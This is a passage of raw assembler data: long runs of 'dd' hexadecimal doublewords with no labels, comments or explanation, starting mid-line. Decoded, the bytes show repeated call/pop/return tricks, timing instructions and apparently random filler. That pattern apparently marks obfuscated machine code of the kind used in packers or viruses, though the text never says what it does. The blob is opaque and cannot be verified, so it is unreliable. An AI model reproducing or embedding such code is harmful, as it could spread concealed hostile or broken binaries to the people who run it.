9AD858Bh, 6A0603h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 21A31CC3h, 71D7206Fh, 89044689h, 31DD5B5h, 60579606h dd 66DF8B66h, 6180FCBAh, 8E0F505Fh, 9, 272CBE60h, 5B500E6Ch dd 820F9661h, 6, 0F182C381h, 0FFF94D4Ah, 6A6FBB5h, 38F38106h dd 6863EA8Bh, 0E9A39D26h, 0E9605250h, 0Ch, 0B3A19DF5h dd 55F49B7Eh, 5750146Fh, 8C0Fh, 0F610000h, 0F4BB6631h dd 81585AACh, 66D92404h, 6A167Bh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 0F99FDC3h, 0EF81FEBFh dd 2EFFC919h, 0A703858Dh, 6A0606h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 140424h, 53430000h, 0F7803AC3h, 1BD8BB0h dd 8A06032Ch, 0BB6650FEh, 4894B6Dh, 0B1BD0B24h, 0FF060322h dd 32E7195h, 0AA28BB06h, 66610748h, 85C7DA8Bh, 6030071h dd 3, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh dd 45C35747h, 4282AA23h, 0BAF0A43h, 3BD834Fh, 606A7h, 0C840Fh dd 0E9F80000h, 21h, 22CD9D8Bh, 30500603h, 4400110Ch, 0E8C10111h dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h dd 11043001h, 7504E983h, 8B00EBE7h, 0FB8B66C0h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0FCC35141h, 9D773F93h dd 0BD29F9BBh, 60321A5h, 71BD83h, 0F030603h, 41285h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 504066AFh, 12E90723h, 0A6000000h, 0B7BCC31Dh, 0ECE253F8h dd 49579691h, 68B9399Bh, 3BD83FDh, 606A7h, 3CD840Fh, 30B70000h dd 0A703B5FFh, 9D8B0606h, 603135Dh, 2A7595FFh, 6A0603h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 0D466CBC3h, 16E0EE02h, 16DEBF66h, 0A6F7B58Bh, 8D0F0606h dd 2, 6C7DE8Bh, 10001h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 19h, 0AC35343h, 413E61C9h, 0BB509671h, 49C0CD83h dd 8B96505Bh, 321B1BDh, 3B5FF06h, 0BF0606A7h, 612C6B49h dd 244995FFh, 6A0603h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 7DCC02C3h, 26CDBD8Bh, 0B58B0603h dd 606A6F7h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Dh, 1C35343h, 70463397h, 0A7BE8EC5h, 31858BC0h, 6A060331h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h dd 41000000h, 0B0F2C351h, 8F324078h, 0BD8B087Fh, 60300ADh dd 0C48689h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 0E13144C3h, 0CCDF7060h, 9D8B5788h dd 6032685h, 0A5958B5Fh, 8B060320h, 4C283DFh, 0C4A2BF66h dd 6A205089h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 0ABDBC355h, 493E19F5h, 0BB16858Dh dd 0BD030606h, 6032655h, 0B88689h, 85890000h, 6031FBDh dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 8481C0C3h, 8B17F026h, 32C8D9Dh, 3B5FF06h dd 0E80606A7h, 8, 542036ADh, 3CE2439Ah, 0FF5FFA8Bh, 30CFD95h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h dd 0C3524200h, 55E08388h, 1280C743h, 0F98D2960h, 8B060304h dd 318D59Dh, 66506106h, 3489D98Bh, 52006A24h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 8BCEC658h dd 3041D9Dh, 3B5FF06h, 6A0606A7h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 0ED0FC351h dd 95FFB442h, 6032E7Dh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ch dd 62C35040h, 75E8480Ah, 0C4935377h, 3850Fh, 0D7800000h dd 0C9BD83C6h, 60326h, 72840Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 27C9D8C3h dd 7F4F41F4h, 13E9h, 52941F00h, 803C9F8Fh, 0EC1FD6B1h dd 3FD78EBCh, 22E4506Bh, 0FB8B6696h, 60525050h, 0D08BC58Ah dd 5A310F61h, 6A9658h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1C0424h, 50400000h, 6C9931C3h, 0AE877A4h, 0DE8BB946h dd 0A703B5FFh, 6A0606h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 140424h, 56460000h, 95FF18C3h, 60314B9h, 21A98589h dd 0B5FF0603h, 606A703h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 86C35545h, 0B989DAFDh, 0BBFC4E98h, 6D30D1B7h dd 139DBD8Bh, 95FF0603h, 6030C95h, 21858D89h, 0BD830603h dd 6032D4Dh, 46840F02h, 8B000000h, 31A5DBDh, 0ED858B06h dd 66060323h, 0A32DCB81h, 6A0000C6h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 0B67FC350h dd 10E9h, 3FC7F800h, 2003879Bh, 7C6D101Bh, 0A828AFD1h dd 8185C77Dh, 60330h, 0E9000000h, 0FFFFF3FFh, 6AC18Bh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 52AC06C3h, 0BB512557h, 1A3D6D4Dh, 9858D5Fh, 6A060313h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 8925C350h, 2CEA8CB2h, 7E9h, 0E0E2FF00h, 77191C3Ah dd 11E990h, 0BF6B0000h, 563A32EDh, 872AAFC3h, 926D7638h dd 50D80ED5h, 57006A90h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 5D933AF1h, 0BF667707h, 6A3B1Bh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0E7C35040h, 45750647h dd 3011B0Fh, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 0B13792C3h, 13E9C3h, 0E9950000h dd 8F21432Fh, 0AE1E69F4h, 9EAB6E4Dh, 0D8C9D30Eh, 9BBB6696h dd 79858D85h, 8B060806h, 322B19Dh, 5C08306h, 0D733EB81h dd 0B3902183h, 0DE8A50A9h, 50006A90h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 9B0D4CA4h dd 0CDCA8B7Dh, 6AA603h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ch, 0E5C35747h, 0C5D0695Eh, 647F5B2Eh, 9529006Ah dd 6030DADh, 1DF995FFh, 840F0603h, 0Fh, 0AE9h, 52EEA400h dd 0B22C2731h, 8D4B59F1h, 699338Dh, 0B1BD8906h, 0FF060320h dd 41BD29D1h, 83060300h, 31D89BDh, 850F0106h, 0A2h, 4860Fh dd 0BB660000h, 26A1C22h, 200DBD2Bh, 66900603h, 0E950DA8Bh dd 10h, 29F951C0h, 69C59DB1h, 46807B6Dh, 1B65EA77h, 55006A90h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 0EE9D6h, 17580000h, 13445563h, 8247F391h, 1BB3AC7Dh dd 0CFD95FFh, 6A0603h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 453C52C3h, 0BFF1CD20h, 1446BE70h dd 0EE8h, 0BED4F200h, 0AC19E3ADh, 4CD4980Fh, 23912BDDh dd 31A3D9Dh, 98E95B06h, 0E800000Eh, 0 dd 83ED815Dh, 6A060806h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 16042444h, 43000000h, 5B50C353h, 1F8F0F49h dd 0E8000000h, 13h, 0D48C44B0h, 6A108220h, 3AB19CF9h, 992CA453h dd 8B106F11h, 32595BDh, 6A5F06h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 7D73DDC3h, 6DF23813h dd 13E91C56h, 1C000000h, 0E666BD3Dh, 3CF9CA4Fh, 0D9F132DAh dd 0EADA8485h, 858D784Ah, 6069100h, 0F551D98Bh, 5250505Bh dd 0B6585160h, 310F610Dh, 0DE8h, 0C9F9F00h, 0D0F64717h dd 6DD4B708h, 5F57C9F8h, 89585A5Bh, 6A2404h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0B5D142C3h dd 15B7F51Fh, 0D1DBD8Bh, 0FF640603h, 35h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 0F1ADF433h, 1AA19D8Bh, 89640603h, 25h, 5D9D8B00h, 0FF060316h dd 31D0185h, 219D8906h, 6A06032Ch, 55006AFFh, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 0D1561823h dd 44AC80E1h, 9589A5C8h, 6032629h, 2175BD8Bh, 0F510603h dd 68Eh, 859D0300h, 5B060326h, 0BE1B5FFh, 6A0603h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 0C5D38AC3h, 0A9779B0Fh, 9D8B0FC0h, 603242Dh, 1B4D95FFh dd 0CBE90603h, 0F8000000h, 21919D8Bh, 0B00603h, 70E61CB7h dd 0FC8A71E4h, 830F613Ch, 0B2h, 1CE59D8Bh, 0C3800603h dd 0C8B60F6Ch, 2AD59D8Bh, 6BA0603h, 89000000h, 32CA5B5h dd 23C18B06h, 31F85BDh, 4E8C106h, 1B519D8Bh, 0F7660603h dd 119D89E2h, 2B060324h, 31BD8BC8h, 8B06032Eh, 6BE9F8D1h dd 0BB000000h, 7D3A0C0h, 4E49858Bh, 85294400h, 603308Dh dd 2907C083h, 30D05BDh, 0C08306h, 96F38166h, 0FD03B77h dd 0E83h, 4EEF8000h, 39E9h, 0DD858900h, 8B060325h, 0FFFFFF8Dh dd 19BF66FFh, 1E18347h, 20840Fh, 64BB0000h, 8358B5B8h dd 0FFFFFFA5h, 0BB66FEFFh, 958910DAh, 44004E49h, 64CF8166h dd 0E9E2h, 0B58D0000h, 60786C4h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 0D6C35545h, 6BFB707Ch, 0FE8362Ch dd 28000000h, 61A569CDh, 0F3F26EC2h, 12A9A9FEh, 85295BAAh dd 60325DDh, 0FE95Bh, 209B0000h, 795B2043h, 0C6084992h dd 11CE06FEh, 29006A36h, 306A98Dh, 0A595FF06h, 6A060323h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 4B5DC357h, 55865982h, 0CB510289h, 1097B9h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 84301028h, 0BE4B4927h, 95890CDAh, 6032ED5h dd 60FCE183h, 0EE970B7h, 5C000000h, 0E89CDAEEh, 4BE969B9h dd 93BD981Eh, 89FC618Eh, 3213DBDh, 6AC02B06h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 0E5F0C356h, 29BD8B5Ah, 2B060307h, 0ADD98BD2h, 0E8D1C233h dd 0E983D003h, 6AF47504h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 0BBA1C353h, 3C8876EDh dd 8B66855Bh, 0E78166DFh, 6A9756h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 31C300C3h, 0E9775B26h dd 0E6BF66F9h, 880DBCh, 0B5890000h, 6032E0Dh, 20A5958Bh dd 85290603h, 603180Dh, 1A658D8Bh, 0EEB70603h, 8BC28B50h dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 895017C3h dd 31AF99Dh, 11E95F06h, 0AC000000h, 0F4A34180h, 2E3603DDh dd 83EC34C6h, 22D84564h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 0CEC35646h, 0E4B3E738h, 15088E67h, 0ABB66B2h dd 0DBD836Ah, 60321h, 91840Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 0D25BA3C3h dd 0A6B58ECAh, 0DE9h, 0F3FD0900h, 0EE514F53h, 6FB986B5h dd 0BB664368h, 0B88F17h, 0E8000000h, 5, 0E5D5333Ch, 0E5BD8B6Dh dd 5B060307h, 2DA18D89h, 8D8D0603h, 6034D69h, 6AE1FFFCh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 0DB9BC356h, 0D163739Bh, 0EE9h, 787B4500h dd 90EBA165h, 43CAD94Ch, 83B37452h, 30071BDh, 840F0006h dd 4BCh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 18h, 0D1C35343h, 0C2866C13h, 4890Fh, 0BF660000h, 0BD8903B3h dd 6031CC9h, 71BD83h, 0F010603h, 49A84h, 13E800h, 261A0000h dd 0A9AB8FBEh, 6515CD7Ch, 28A058FCh, 2E7163D3h, 0D8BF0F4Fh dd 71BD835Bh, 3060300h, 43B860Fh, 66600000h, 8C66FB8Bh dd 55006AD9h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h dd 0C3554500h, 38396885h, 7135EDA8h, 2E45BD31h, 0E1800603h dd 51006A04h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h dd 0C3514100h, 0F55E6A0Fh, 15998D89h, 0C90A0603h, 184840Fh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h dd 56460000h, 0E8B3C0C3h, 6, 0AE201038h, 8D89B83Fh, 6030D31h dd 0AD858B5Bh, 6A060309h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 5436C352h, 745CBF66h dd 1A598533h, 6A0603h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 0BF0FF1C3h, 0C1BD8BD9h, 9006030Fh dd 66525050h, 310FD88Bh, 9E9h, 9D83B300h, 0DBF164AFh, 585AE5E9h dd 6AF590h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 14h, 0E1C35646h, 5840F57h, 66000000h, 592DEB81h, 0EB81665Bh dd 4E8788Fh, 0FF000000h, 0E9001F03h, 9, 47B3B858h, 841A64C2h dd 66535041h, 5F2705BFh, 424448Bh, 8BD98Bh, 4489D88Bh dd 5E90424h, 63000000h, 0F764258Ch, 52006A58h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 254BCE60h dd 11C86009h, 9860Fh, 8C0F0000h, 3, 0FFFFBF0Fh, 32E7195h dd 51BD8906h, 8906032Ah, 6A70385h, 0DE906h, 3D10000h, 9D8BBE8Ah dd 9FB5EE7h, 0E9C4EF6Eh, 1FDh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 18h, 0AC35242h, 0F9B4722h, 13459D8Bh dd 858B0603h, 606A6FBh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 0F7C35242h, 0C75CA0CCh, 55A870D3h, 29D88BFBh dd 31CADBDh, 1800C706h, 8B000000h, 31395BDh, 0FFB58B06h dd 6A0606A6h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 16042444h, 41000000h, 20FC351h, 0A1A7BFA7h, 0E781141Ch dd 4B301CBCh, 1F89858Bh, 0BD890603h, 6031A51h, 23799D8Bh dd 6890603h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 19h, 26C35545h, 9BF12487h, 6E901h, 7D40000h dd 3F784544h, 9AD858Bh, 0BB660603h, 46896A7Eh, 51006A04h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 0F91B2736h, 0E9E03203h, 0Eh, 3A336AEh, 1E9B985Ch, 261303A8h dd 6650DB85h, 89D8F4BFh, 6A2434h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 0C75F8FC3h, 0CC59E83Ch dd 10E8EBC2h, 6D000000h, 0DB234465h, 677F5403h, 78DA42A3h dd 0F4CBA2Ah, 0FF5BDEBFh, 6A6FBB5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 89FAC1C6h dd 0AC249499h, 2C119D01h, 9D310603h, 6031639h, 0D8EC6968h dd 24348179h, 79C7EF96h, 3858DF9h, 290606A7h, 32A61BDh dd 50605006h, 0AE852h, 7A370000h, 0FCFCE970h, 0CB049E01h dd 5A310F5Eh, 61605258h, 4896158h, 52006A24h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 0B3515A7Ah dd 0DFD4D92Eh, 95FF3A80h, 6032E71h, 0BF1838BBh, 0DFBF6637h dd 6A6163h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 680CE2C3h, 0F9DDD76h, 85C7DBB7h, 6030071h dd 3, 0BD830CB7h, 606A703h, 42840F00h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 0F3F2C352h, 0E9A9A9FEh, 12h, 5F6275E5h, 0F37BF6F0h dd 0E89AD391h, 0D95B4097h, 21E923FFh, 8B000000h, 329A5BDh dd 0C305006h, 11440011h, 10E8C101h, 2114430h, 3114C00h dd 4E98358h, 36EBE775h, 11043050h, 1116400h, 3010E8C1h dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h dd 0C08B00EBh, 2FA9B589h, 6A0603h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1C0424h, 51410000h, 47E82AC3h, 0F6649EE1h dd 9D8BF487h, 6031735h, 71BD83h, 0F030603h, 43F85h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 0A75F2F75h, 8369586Bh, 6A703BDh, 840F0006h, 410h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0AC35242h, 0D88B9E44h dd 0A703B5FFh, 9D230606h, 6030711h, 90C006BFh, 7595FF30h dd 6A06032Ah, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 14042444h, 45000000h, 8B6AC355h, 30459BDh, 0B18D8906h dd 8B060314h, 6A6F7B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 0C4242C21h, 8BF0B332h dd 106C7F9h, 6A000100h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 14042444h, 45000000h, 0F944C355h, 0FE950h dd 999A0000h, 1AAF7307h, 8A19D9DDh, 239DAF6Ch, 0E9965B42h dd 0Eh, 0FA4DE27Ah, 2DE29A8Dh, 52A3B76Dh, 96506794h, 68F0Fh dd 0BD8B0000h, 60306A9h, 0A703B5FFh, 0BD8B0606h, 60314C5h dd 0FF9BF380h, 3244995h, 0B58BF506h, 606A6F7h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0EC35141h, 649B0ED6h dd 665A891Dh, 8B2DB5BFh, 3313185h, 0BE906h, 0F03F0000h dd 0A1895216h, 58AD2567h, 219D8BCBh, 8906031Bh, 0C486h dd 0A5958B00h, 6A060320h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 16042444h, 47000000h, 3FECC357h, 0A8B0F96h dd 0E9000000h, 5, 0CD28FAA6h, 68C0F69h, 8B000000h, 32141BDh dd 4C28306h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 16h, 2DC35646h, 9529C12Bh, 6030351h, 6A205089h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 4BCDC355h, 0AC87392h, 16858D26h, 6A0606BBh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 8BC4C356h, 302C99Dh, 89F98B06h, 0B886h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 11FA7933h, 26A47D4Ah, 0A99D8B90h, 8B060317h, 303619Dh dd 9E806h, 0CAC50000h, 6C75E7h, 0BFEFD23Eh, 56A3501Ch dd 0F006A5Bh, 0B5FFDBBFh, 606A703h, 0FFDF8B66h, 30CFD95h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h dd 0C3554500h, 677B7A98h, 0F16BEEAFh, 0E4A1D381h, 0E9966F92h dd 7, 47EBAED4h, 5085D34Ah, 0CE9h, 0A5158D00h, 2462D885h dd 0F0421122h, 38B79633h, 0A703B5FFh, 6A0606h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 0CB81C8C3h, 7B04C505h, 0C1D9D8Bh, 95FF0603h, 6032E7Dh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0D7C35747h dd 89B50926h, 83060318h, 326C9BDh, 840F0006h, 22h, 23298D89h dd 0BD290603h, 60329F1h, 0D98B6650h, 0E8243489h, 7, 7A7B8F0Eh dd 0B307E7FCh, 0B5FF5F12h, 606A703h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 19h, 62C35040h, 3DDE33AFh, 0B995FF77h dd 89060314h, 306619Dh, 0BF0F5606h, 0B5FF5BF8h, 606A703h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0B0C35545h dd 66B99F32h, 95FF90BAh, 6030C95h, 8EDBD89h, 0BF660603h dd 0BD834F8Fh, 6032D4Dh, 55840F02h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h dd 0A9B0C355h, 858B6B1Bh, 60323EDh, 1CAD9D8Bh, 0C60603h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 0BF664C94h, 0F7815737h, 14A8A17Fh, 308185C7h dd 603h, 0BD8B0000h, 603087Dh, 0FFF2A2E9h, 68F0FFFh, 29000000h dd 32CE19Dh, 66C18B06h, 8DCDE5BBh, 3130985h, 42A4BB06h dd 505071E7h, 870F52h, 0F000000h, 5AF98B31h, 24048958h dd 0A899529h, 6A0603h, 1C8C0Fh, 13E80000h, 58000000h, 0B16EF3E2h dd 0A280B7D4h, 6CF5B4E4h, 833A0180h, 0BF0F1FDAh, 0DE95BF8h dd 9000000h, 90B6CCEDh, 0F29EC761h, 27A3FA43h, 0BD0B006Ah dd 60302D5h, 16D0858Dh, 8E0F0608h, 0 dd 502ABB66h, 8B05C083h, 32F699Dh, 8B665006h, 240489DEh dd 6ADC8Ah, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 0A0C35040h, 0F860Fh, 8E80000h, 57000000h, 0CD7B983Ch dd 0F87DBD2Ah, 0F5BD8B5Bh, 6A06030Bh, 6800F00h, 8B000000h dd 314C99Dh, 0F995FF06h, 6A06031Dh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0BD80C357h dd 12E8CBh, 0CC560000h, 4FD66171h, 0F266C13Ah, 99FDBF7Bh dd 0E0107860h, 4B5BD33h, 895B0603h, 30C9DB5h, 338D8D06h dd 6A060699h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 76AEC351h, 0A19832CBh, 0BD890920h dd 6032189h, 6AD1FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 140424h, 57470000h, 0FA8BCEC3h, 1D89BD83h, 0F010603h dd 4C85h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1D04h, 0C3534300h, 7EAE71E3h, 0A3CE8868h, 26ABB9Bh dd 6CF78152h, 5B7EEBEDh, 8988B750h, 95FF2404h, 6030CFDh dd 0C1F3DF81h, 6E9593Ah, 0B2000000h, 872F2DA4h, 0D0BE9E7h dd 0E80000h, 5D000000h, 16DAED81h, 10E80608h, 45000000h dd 0F2D45655h, 8FAC99F1h, 0B375BCC9h, 5F4A06F2h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0FFC35747h, 6679111Bh dd 8D584CBFh, 6910085h, 81665106h, 5B7AC5EFh, 5860F60h dd 0B8000000h, 21ED85B0h, 5061FFB1h, 383BB66h, 6A240489h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 2364C356h, 0F88AB7BBh, 6830Fh, 95890000h dd 60304FDh, 35FF64h, 0E9000000h, 12h, 63B9C29Ah, 0FF071597h dd 1F153F01h, 0CF7E7F15h, 89644A80h, 25h, 8820F00h, 0F000000h dd 287h, 81616000h, 8E5715E7h, 185FF59h, 8B06031Dh, 0FFFF6ADFh dd 30575B5h, 4D95FF06h, 0E906031Bh, 0E4h, 32C59D89h, 0B00603h dd 70E6BEB3h, 71E4FB8Bh, 2DC59589h, 613C0603h, 0C6830Fh dd 7E80000h, 0F5000000h, 215937CAh, 0C3813345h, 684D6BC2h dd 0C8B60F5Fh, 22ADBD31h, 6BA0603h, 8B000000h, 4E8C1C1h dd 4ED05ABBh, 62CF814Bh, 6652560Ch, 0BD8BE2F7h, 60318B9h dd 9D89C82Bh, 60314A9h, 8B66D18Bh, 7AE9DAh, 8BF80000h dd 5F4C4C85h, 7C08350h, 9529F88Ah, 6030E59h, 3B00C083h dd 13830FD0h, 89000000h, 30DC99Dh, 52E906h, 29520000h dd 30AEDB5h, 8D8B5B06h, 0FFFFFFFFh, 0AA99D29h, 0E1830603h dd 35840F01h, 0FC000000h, 0FFFFA583h, 89FEFFFFh, 319718Dh dd 11E906h, 196C0000h, 46D49AE7h, 933B053h, 5BB02BB6h dd 89F3AB69h, 5F4C4C95h, 98DB8150h, 0E961BA2Ch, 0 dd 975BB58Dh, 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 59783FC3h, 9D8BCCFCh, 6031961h dd 0B529006Ah, 603209Dh, 23A595FFh, 89570603h, 30B219Dh dd 0B7B95F06h, 29000010h, 3223DB5h, 0FCE18306h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 21C35242h, 0FE9h dd 4687E800h, 2CDC8D5Ch, 0C83AA411h, 562B9CCBh, 0DA8160FCh dd 462BA446h, 61DF8B66h, 0B8h, 95BD8900h, 0BA06030Bh, 0 dd 11E9h, 1F6C1A00h, 0F1080A22h, 6F4817B7h, 219241C1h dd 0BD8B18C8h, 6031455h, 0D1C233ADh, 83D003E8h, 0F47504E9h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 72C35242h dd 0E542447Eh, 7DA2DBD4h, 40FEBBBh, 0F8BF0F74h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0CCC35343h, 8BFCE0D4h dd 31FF5BDh, 880D06h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1C0424h, 57470000h, 600347C3h, 0A95C0202h dd 12E9BF0Fh, 5E000000h, 0CCA0DC21h, 0DC2E6C1Bh, 1021CA87h dd 0BA936933h, 0A5958B3Bh, 66060320h, 0BE0AF781h, 1A658D8Bh dd 6A0603h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h dd 52420000h, 0E07850C3h, 96A63430h, 8BE7E1CEh, 3000DBDh dd 0C28B5006h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 8958188Bh dd 32A71B5h, 9BD8906h, 8B06030Bh, 32F61BDh, 0DBD8306h dd 60321h, 39840Fh, 66600000h, 0BBB024BFh, 2ECF5D01h, 0B861h dd 0E3B70000h, 4D698D8Dh, 0DE80603h, 7A000000h, 0EEAF677Bh dd 0BF30F16Bh, 99CF0D58h, 1BE98D89h, 0FF5F0603h, 0A99D03E1h dd 83060317h, 30071BDh, 840F0006h, 47Bh, 25199D8Bh, 0BD830603h dd 6030071h, 83840F01h, 66000004h, 1B33C781h, 71BD83h dd 0F030603h, 43B86h, 41BD8B00h, 6006032Ch, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 3CC35545h, 0EB1B2913h dd 8C66CC52h, 52006AD9h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 0B35BE270h, 0CC813898h, 80FC320Ah dd 6A04E1h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h dd 52420000h, 4D97CBC3h, 6295915Dh, 665E4C3Fh, 0B4F0DB81h dd 840FC90Ah, 0FEh, 27FFBF66h, 9AD858Bh, 6A0603h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 6D5AEEC3h, 0B70FB9EEh, 598533FBh, 0E806031Ah, 0Bh, 6E100678h dd 0B568A150h, 607BCE50h, 6B64B866h, 8329DDBFh, 505B6100h dd 115BF66h, 0E9240489h, 6, 0D2410169h, 6A2908h, 